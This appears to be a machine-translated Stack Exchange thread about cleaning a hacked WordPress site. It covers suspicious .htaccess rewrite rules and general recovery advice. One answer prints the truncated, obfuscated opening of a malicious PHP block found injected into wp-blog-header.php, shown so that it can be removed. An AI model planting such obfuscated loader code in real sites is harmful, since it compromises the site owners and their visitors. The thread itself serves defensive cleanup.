Trang web WordPress bị hack. .Htaccess đã bị hack?


7

Tôi đang cố gắng dọn sạch một trang web WordPress đã bị hack. Tôi nhận thấy rằng .htaccesstệp có một số nghi ngờ tìm biểu thức chính quy, nhưng kỹ năng regex của tôi khá yếu (thời gian để học tôi đoán). Tôi đã thử thay thế .htaccesstệp bằng WordPress mặc định .htaccess, nhưng nó sẽ được viết lại ngay lập tức và tự động. Những gì tôi cần biết là những gì đang xảy ra với mã này:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)=[0-9]+$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*&_.*_.*=(.*)Q(.*)J[0-9]+.*TXF[0-9]+.*FLK.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+).*[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&#[0-9]+;.*=.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)-([^\d\/]+)_.*_([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

Nếu .htaccessđã bị xâm phạm, bạn có gợi ý nào để bảo vệ nó không?

Tôi đã thực hiện cài đặt WordPress mới, cập nhật / cài đặt lại tất cả các plugin, đặt lại mật khẩu, cài đặt captcha để đăng nhập, chuyển cài đặt WordPress sang một thư mục khác, v.v. Trang web có vẻ vẫn ổn trong vài ngày, nhưng lại bị hack. Rất bực bội!


1
Có thể có một đoạn mã PHP được chèn vào đâu đó đang tự động sửa đổi .htaccesstệp, mặc dù điều đó không giải thích cách nó tái xuất hiện sau khi cài đặt mới. Kiểm tra nếu index.phpcũng đã được sửa đổi. Và xem make.wordpress.org/support/handbook/appcill/b [ix
Yoav Kadosh


1
Bạn nên kiểm tra plugin vì một số cập nhật plugin .htaccess mã.
nhúng patel

1
Trong ngắn hạn, bạn có thể tạo một .htaccesstệp có nội dung mong muốn. chmodnó cho phép 0444. Điều này sẽ đặt tập tin thành "chỉ đọc". Ít nhất, cho đến khi bạn tìm ra thủ phạm là gì.
Michael Ecklund

1
bỏ phiếu chặt chẽ vì các trang web bị tấn công đặc biệt ngoài chủ đề và đây không phải là nơi tốt nhất để hỏi về regex hoặc các câu hỏi htaccess chung
Mark Kaplun

Câu trả lời:


1

Về các trang web bị tấn công:

Trước hết, hãy rõ ràng về các vấn đề liên quan đến hack:

Nếu trang web của bạn thực sự bị hack, thì trong quá trình xóa hoàn toàn tất cả các tệp và sau đó cài đặt lại máy chủ (không chỉ WordPress) với mật khẩu mới, cập nhật tất cả các tệp và xác định và xóa các lỗ hổng vòng lặp trước đó khiến trang web bị hack trong lần đầu tiên không có gì khác sẽ xác nhận rằng trang web sẽ không bị hack lần nữa bằng cách sử dụng các lỗ lặp tương tự.

Về .htaccesssửa đổi:

Đối với tôi, .htaccesssửa đổi của bạn không giống như kết quả của việc hack, thay vào đó, nó trông giống như một phần của CODE WordPress (từ Plugin hoặc chủ đề) đang viết lại .htaccesstệp vì viết lại URL.

Kiểm tra mẫu này từ .htaccessMÃ của bạn :

RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]

Dòng này về cơ bản là chuyển đổi một URL trông như thế này (ví dụ):

example.com/something-12-34-something-else.html?query=string

để thêm chuỗi truy vấn (bên trong chính index.php) trông như thế này:

?something34=12&query=string

Vì vậy, về cơ bản tôi không thấy một hacker sẽ kiếm được gì từ việc này. Nó vẫn có thể, nhưng không thể.

Để kiểm tra nó thực sự đang được viết lại bởi WordPress theo cách này, bạn có thể thực hiện kiểm tra sau:

  1. Đi tới wp-admin -> Settings -> Permalinksvà nhấp vào Save Changesnút.

  2. Viết lại .htaccessvới .htaccessMÃ WordPress mặc định .

  3. Bây giờ, đi đến wp-admin -> Settings -> Permalinks một lần nữa và nhấp vào Save Changesnút.

Nếu là của bạn .htaccess tệp có thể ghi được bởi WordPress (máy chủ web) và nếu .htaccessCODE đó được tạo bởi WordPress, thì sau quá trình trên, WordPress mặc định của bạn .htaccesssẽ được thay đổi ngay lập tức thành tệp bạn đã đăng.

Phải làm gì tiếp theo?

Nếu bạn đã xác định thành công các thay đổi do WordPress thực hiện, thì bạn có thể phát hiện plugin hoặc chủ đề nào đang thực hiện, bằng cách thực hiện lại theo quy trình trên sau khi vô hiệu hóa từng plugin được cài đặt một lần.

Khi plugin có trách nhiệm bị vô hiệu hóa, quy trình trên sẽ không tạo ra thay đổi đó trong .htaccesstệp nữa. Sau đó, bạn sẽ biết plugin nào đang làm điều đó và có lẽ sẽ hiểu rõ hơn về lý do tại sao nó làm điều đó. ví dụ: cho dù đó là một tính năng hoặc kết quả của hoạt động độc hại.

Nếu không có plugin nào được thực hiện, thì bạn có thể làm tương tự với chủ đề bằng cách kích hoạt chủ đề cốt lõi của WordPress (ví dụ Twenty Seventeen).

Nếu không có cách nào ở trên hoạt động, thì tôi đoán lựa chọn tiếp theo của bạn là thuê một chuyên gia và cho phép anh ta kiểm tra trang web của bạn.


1
Vì vậy, đây là thỏa thuận, hacker hiếm khi đưa "I-am-hack-you" vào URL. Họ thường ẩn đằng sau một cái gì đó có thể có một sự giải thích hợp pháp, vì vậy thực tế là có thể có một người không chỉ ra bất cứ điều gì. Tôi có thể nói rằng nói chung bất cứ thứ gì trông giống như nó được sản xuất bởi một chiếc máy hơn là một con người nên bị nghi ngờ.
Mark Kaplun

@MarkKaplun Tôi đồng ý với bạn. Câu trả lời của tôi dựa trên thông tin được cung cấp. Ngoài ra, để tham khảo trong tương lai cho những người có thể nhận thấy sự .htaccessthay đổi của họ và hiểu nhầm rằng đó là một dấu hiệu của hack. Tất nhiên OP ở đây không cung cấp bất kỳ thông tin nào. về cách trang web của anh ấy đã bị hack. Vì vậy, tôi tập trung vào điểm đó. Trước đây tôi đã thấy mọi người xóa sai quy tắc viết lại trong Plugin WP trên init hook, đó có thể là một lý do khác khiến .htaccessviệc viết lại trên mỗi lần tải trang. Nhưng như tôi đã đề cập ngay từ đầu, một trang web bị tấn công thực tế đòi hỏi phải sao chép hoàn toàn trang web.
Fayaz

OMG, bạn có thể soạn một danh sách các plugin đó để tôi tránh chúng không? ;)
Mark Kaplun

ha ha ha, ý tôi là các plugin tùy chỉnh được viết bởi người mới bắt đầu, có một danh sách, nhưng bạn cần phải trả tiền cho tôi cho nó;)
Fayaz

Tôi có thể ..... :)
Mark Kaplun

0

Tôi đã gặp một vấn đề tương tự vài tháng trước: một trong những trang web của khách hàng đã bị hack và tôi gặp khó khăn trong việc tìm kiếm ở đâu. Tôi có thể đề nghị bạn cũng kiểm tra db để kiểm tra mã phần mềm độc hại, trong trường hợp của tôi, tôi đã tìm thấy một số mã đáng ngờ trong:

  • Cơ sở dữ liệu; Ftp - thư mục bộ đệm, thư mục wp chính và các thư mục không phải wp khác;
  • tập tin header.php;
  • .htaccess và cả wp-config.

Tôi có thể đề nghị bạn kiểm tra thủ công tất cả các thư mục này và sau đó cài đặt một số plugin cho kiểm tra khác như Anti-Malware Security và Brute-Force Firewall. Tôi cũng đã tạo lại khóa auth wordpress. Sau khi làm sạch sâu và một số thủ thuật bảo mật, như thay đổi mật khẩu cho ftp, wordpress và db, thay đổi id người dùng, cài đặt plugin bảo mật, trang web này đã không còn bị hack nữa. Không chắc đây là trường hợp của bạn, nhưng tôi hy vọng tôi có thể hữu ích cho bạn.


0

Tôi đã giải quyết vấn đề với tệp .htaccess bằng cách dọn sạch wp-blog-header.php. Tập lệnh chịu trách nhiệm sửa đổi .htaccess nằm ở đó và trông như thế này.

<?php
//header('Content-Type:text/html; charset=utf-8');
$OO0O_0_O0_='J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW';
$O0_0O_O0O_='enhearse14625';
$OO0__O00_O=1921;
$O_0OO__00O='E/B/C/D/intertrade/acrimony/mesoseme/A/sdh.xhtml';
$O_0OO_0O0_=871;
$O_OO_O00_0=1;
$O_O0_0OO_0=array("eleventhly","decasualization","antieducation","circumambulator","insufficient","federalness","cactaceae","camise","colorimetrics","disintertwine","confutation","bladderet","exodist"................
$OOO0__0O0_='';
$O__0O0_OO0='T2';
$O_O_00_0OO=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")............ ?>
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( !isset($wp_did_header) ) {

    $wp_did_header = true;

    require_once( dirname(__FILE__) . '/wp-load.php' );

    wp();

    require_once( ABSPATH . WPINC . '/template-loader.php' );

}
?>

chỉ cần làm sạch phần đầu tiên và kết thúc "?>" + .htaccess và nó sẽ ổn.


-1

Hầu hết các vụ hack mà tôi thấy trên các trang WP cho đến nay là do lỗ hổng plugin hoặc lỗi cốt lõi của WP.

Tôi muốn đề nghị:

  1. Thay thế hoàn toàn lõi WP bằng cách tải xuống một bản sao mới từ Wordpress.org.
  2. Tải lại và thay thế tất cả các tập tin plugin.
  3. Kiểm tra các tập tin và thư mục lạ trong thư mục Tải lên. Thư mục đó thường là một mục tiêu vì nó có thể ghi.
  4. Kiểm tra các tệp tiêu đề và tệp.php của chủ đề để biết bao gồm các mã lạ hay mã lạ đó là mã hóa hoặc giải mã chuỗi.
  5. Cơ sở dữ liệu thường không phải là một vấn đề, nhưng đôi khi các bài đăng của bạn có thể đã được thêm các liên kết đến quảng cáo (ví dụ: liên kết viagra). Vì vậy, hãy kiểm tra nội dung của bài đăng để biết các liên kết lạ và bảng tùy chọn wp để biết các cài đặt lạ.
  6. Tạo một bản sao của .htaccess hiện tại nếu nó có mã tùy chỉnh, sau đó khôi phục nó về tệp wp mặc định.

Và theo ý tôi là "kỳ lạ", những thứ rõ ràng không nên ở đó, hoặc dường như nằm ngoài bối cảnh.

Khi bạn nghĩ mọi thứ đã được dọn sạch, tôi sẽ cài đặt một plugin hoặc sử dụng một công cụ khác để quét mã base64 trong các tệp chủ đề của bạn. Rất nhiều lần mã độc sẽ được chia thành nhiều tệp khác nhau và được ngụy trang bằng cách mã hóa nó.

Cuối cùng, cài đặt một plugin bảo mật để giúp bạn nhận thông báo khi các tệp lõi / plugin được thay đổi.

Nếu bạn quan tâm đến trang web của bạn:

  1. Luôn luôn cập nhật mọi thứ. Plugin và lõi Wp.
  2. Đừng lưu trữ nó với lưu trữ chia sẻ giá rẻ ... đó là những mục tiêu dễ dàng vì Cpanel thường là OOD và chưa được thiết lập đúng. Cũng bởi vì vi phạm trên các trang web khác trên cùng một máy chủ có thể lây nhiễm trang web của bạn.

Nếu bạn có VPS hoặc thiết lập tương tự nơi bạn có nhiều quyền kiểm soát cài đặt máy chủ hơn, hãy đảm bảo bạn đặt lại thẻ gốc và mật khẩu liên quan đến máy chủ khác. Nếu cơ sở dữ liệu của bạn đã bị xâm phạm, bạn cũng nên thay đổi thẻ người dùng db.


-2

Một trong những giải pháp tốt nhất tôi tìm thấy là cài đặt Wordfence , nó quét tất cả các tệp wordpress của bạn (bao gồm các tệp bên ngoài nhưng bạn cần bật nó trên trang cài đặt) với các phiên bản gốc, sau đó nó hiển thị cho bạn danh sách với tất cả các tệp đã sửa đổi để bạn có thể thấy những gì đã bị hack


2
một khi một trang web bị hack nó là trò chơi kết thúc. Tất cả các plugin "bảo mật" đều cho rằng trang web không bị hack , vì một khi phần mềm bị tấn công, phần mềm độc hại có thể ẩn hoặc không hoạt động hoặc bất kỳ thủ thuật nào khác để tránh bị máy quét phát hiện, vì vậy nói chung có thể là một plugin tốt để cài đặt, nhưng đối với câu hỏi này thì không liên quan Ngoài ra, hack có thể trên máy chủ không liên quan đến vị trí cài đặt wordpress.
Đánh dấu Kaplun
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.